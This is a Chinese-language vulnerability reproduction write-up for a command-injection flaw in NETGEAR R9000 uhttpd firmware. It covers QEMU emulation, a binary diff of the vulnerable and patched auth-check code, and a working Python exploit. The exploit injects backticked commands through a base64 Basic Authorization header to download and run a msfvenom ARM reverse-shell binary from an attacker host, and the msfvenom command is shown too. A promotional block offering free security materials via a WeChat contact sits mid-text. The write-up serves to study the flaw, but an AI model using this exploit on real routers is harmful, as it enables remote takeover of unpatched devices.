漏洞概述
漏洞服务: uhttpd
漏洞类型: 远程命令执行
影响范围: 1.0.4.26之前的NETGEAR R9000设备会受到身份验证绕过的影响
解决建议: 更新版本
漏洞复现
操作环境: ubuntu:22.04
qemu-version: 8.1.1
仿真环境
wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.26.zip
下载固件。
binwalk -Mer R9000-V1.0.4.26.img
可通过 binwalk
常规解压获得文件系统。
检查 ELF32
文件架构为 arm-32-little
。
wget https://file.erlkonig.tech/debian-armhf/wheezy/debian_wheezy_armhf_standard.qcow2 wget https://file.erlkonig.tech/debian-armhf/wheezy/initrd.img-3.2.0-4-vexpress wget https://file.erlkonig.tech/debian-armhf/wheezy/vmlinuz-3.2.0-4-vexpress
下载合适的虚拟机映像。
#!/bin/sh # 参考《CTF实战》by ChaMd5 # 'ens33': The NIC is that can connect internet #sudo ifconfig eth0 down # 首先关闭宿主机网卡接口 sudo brctl addbr br0 # 添加一座名为 br0 的网桥 sudo brctl addif br0 ens33 # 在 br0 中添加一个接口 sudo brctl stp br0 off # 如果只有一个网桥,则关闭生成树协议 sudo brctl setfd br0 1 # 设置 br0 的转发延迟 sudo brctl sethello br0 1 # 设置 br0 的 hello 时间 sudo ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口 sudo ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口 sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址 sudo brctl show br0 # 查看虚拟网桥列表 sudo brctl showstp br0 # 查看 br0 的各接口信息 sudo tunctl -t tap0 -u root # 创建一个 tap0 接口,只允许 root 用户访问 sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口 sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口 sudo brctl showstp br0
配置网络。
#!/bin/sh qemu-system-arm \ -M vexpress-a9 \ -kernel vmlinuz-3.2.0-4-vexpress \ -initrd initrd.img-3.2.0-4-vexpress \ -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \ -append "root=/dev/mmcblk0p2 console=ttyAMA0" \ -net nic -net tap,ifname=tap0,script=no,downscript=no \ -nographic
-M # 选择开发板• -m # 指定内存大小 -drive # 定义存储驱动器• file= # 定义镜像文件• -net nic # 创建客户机网卡• -net tap # 创建 tap 设备,以桥接方式跟宿主机通信• ifname=virtual0 # tap 设备与名为 virtual0 的虚拟网卡进行桥接通信• -nographic # 以非图形化模式启动• -append # 内核启动附加参数• -console=ttyAMA0 # console指向串口,有此启动参数,内核启动日志才能输出到宿主机终端 -nographic # 不再启用额外的终端界面
启动 qemu-system-armhf
环境,默认用户名密码都为 root
。
ifconfig eth0 192.168.152.168/24
为 qemu-system-armhf
配置静态 IP
。
tar -cvf squashfs-root.tar.gz squashfs-root/ python3 -m http.server
将文件根系统打包,然后利用 python3
的 http.server
模块下载到 qemu-system-armhf
的根目录中并用 tar xvf squashfs-root.tar.gz
解压。
cd /squashfs-root mount --bind /proc proc # proc目录是一个虚拟文件系统,可以为linux用户空间和内核空间提供交互 mount --bind /dev dev # /dev/下的设备是通过创建设备节点生成的,用户通过此设备节点来访问内核里的驱动 chroot . sh
因为 chroot
会导致无法在隔离的文件系统中访问原本的 /proc
和 /dev
目录,这里利用 mount
命令将 qemu-system-armhf
的 proc
和 dev
目录挂在到 squashfs-root
中,并更换根目录为 squashfs-root
。
【---- 帮助网安学习,以下所有学习资料免费领!领取资料加 we~@x:dctintin,备注 “开源中国” 获取!】
① 网安学习成长路径思维导图
② 60 + 网安经典常用工具包
③ 100+SRC 漏洞分析报告
④ 150 + 网安攻防实战技术电子书
⑤ 最权威 CISSP 认证考试指南 + 题库
⑥ 超 1800 页 CTF 实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP 客户端安全检测指南(安卓 + IOS)
Web模拟
find -name uhttpd cat ./etc/init.d/uhttpd
# ./etc/init.d/uhttpd ... start() { #config_load uhttpd #config_foreach start_instance uhttpd #mkdir /tmp/www #cp -rf /usr/www/* /tmp/www /www/cgi-bin/uhttpd.sh start inetd detplc #for bug58012 touch /tmp/fwcheck_status } ...
查找 uhttpd
的相关文件。
#!/bin/sh REALM=`/bin/cat /module_name | sed 's/\n//g'` UHTTPD_BIN="/usr/sbin/uhttpd" PX5G_BIN="/usr/sbin/px5g" uhttpd_stop() { kill -9 $(pidof uhttpd) } uhttpd_start() { $UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443 } case "$1" in stop) uhttpd_stop ;; start) uhttpd_start ;; restart) uhttpd_stop uhttpd_start ;; *) logger -- "usage: $0 start|stop|restart" ;; esac
查看 start()
函数中利用的 /www/cgi-bin/uhttpd.sh
脚本。发现启动命令为 $UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
其中 REALM = R9000
,UHTTPD_BIN = /usr/sbin/uhttpd
。我们无需开启 https
,所以启动命令为 /usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80
。
逆向分析
wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.28.zip
获取修复版本的固件。因为源码较为繁杂,我们通过 Bindiff
进行二进制比对,来查找漏洞点。
shift+D
选取修复版本的 /usr/sbin/uhttpd
文件即可,主要查看登录验证的 uh_cgi_auth_check()
函数。
memset(s, 0, 0x1000u); v14 = strlen(v13); uh_b64decode(s, 0xFFF, v13 + 6, v14 - 6); v15 = strchr(s, ':'); if ( !v15 ) { LABEL_32: v16 = 0; v17 = 0; goto LABEL_15; } v16 = v15 + 1; *v15 = 0; if ( v15 != (char *)0xFFFFFFFF ) { snprintf(command, 0x80u, "/usr/sbin/hash-data -e %s >/tmp/hash_result", v15 + 1); system(command); v3 = cat_file(73805); } v17 = s
漏洞版本 base64
解密后 snprintf()
后直接传给 system()
执行,这里会把 v15(:)
后面的内容放到 %s
处,记得加\n
来执行多条指令。
memset(s, 0, 0x1000u); v15 = strlen(v14); uh_b64decode(s, 4095, v14 + 6, v15 - 6); v16 = strchr(s, 58); if ( !v16 ) { LABEL_15: v17 = 0; v18 = 0; goto LABEL_16; } v17 = v16 + 1; *v16 = 0; if ( v16 != (char *)-1 ) { v18 = s; dni_system("/tmp/hash_result", 0, 0, "/usr/sbin/hash-data", "-e", v17, 0); v19 = cat_file("/tmp/hash_result"); goto LABEL_17; }
而修复版本则利用 dni_system()
执行,只可控参数。
获取权限
poc:
#!/usr/bin/python3 from pwn import * import requests import base64 cmd = 'admin:' cmd += '`' cmd += 'wget http://192.168.152.167:8000/shell.elf\n' cmd += 'chmod 777 ./shell.elf\n' cmd += './shell.elf\n' cmd += '`' assert(len(cmd) < 255) cmd_b64 = base64.b64encode(cmd.encode()).decode() headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Authorization": "Basic " + cmd_b64 } def attack(): try: requests.get("http://192.168.152.168/cgi-bin/", headers=headers, timeout=3) except Exception as e: print(e) attack()
msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.152.167 LPORT=10086 -f elf > shell.elf
利用 msf
生成对应架构的木马程序,然后在shell.elf
所在的目录开启http
服务,利用漏洞将木马程序下载下来。
启动监听,并执行 exp.py
成功获取 shell
,我们利用获取的权限在 www
目录创建 flag.txt
文件然后访问它。
成功创建。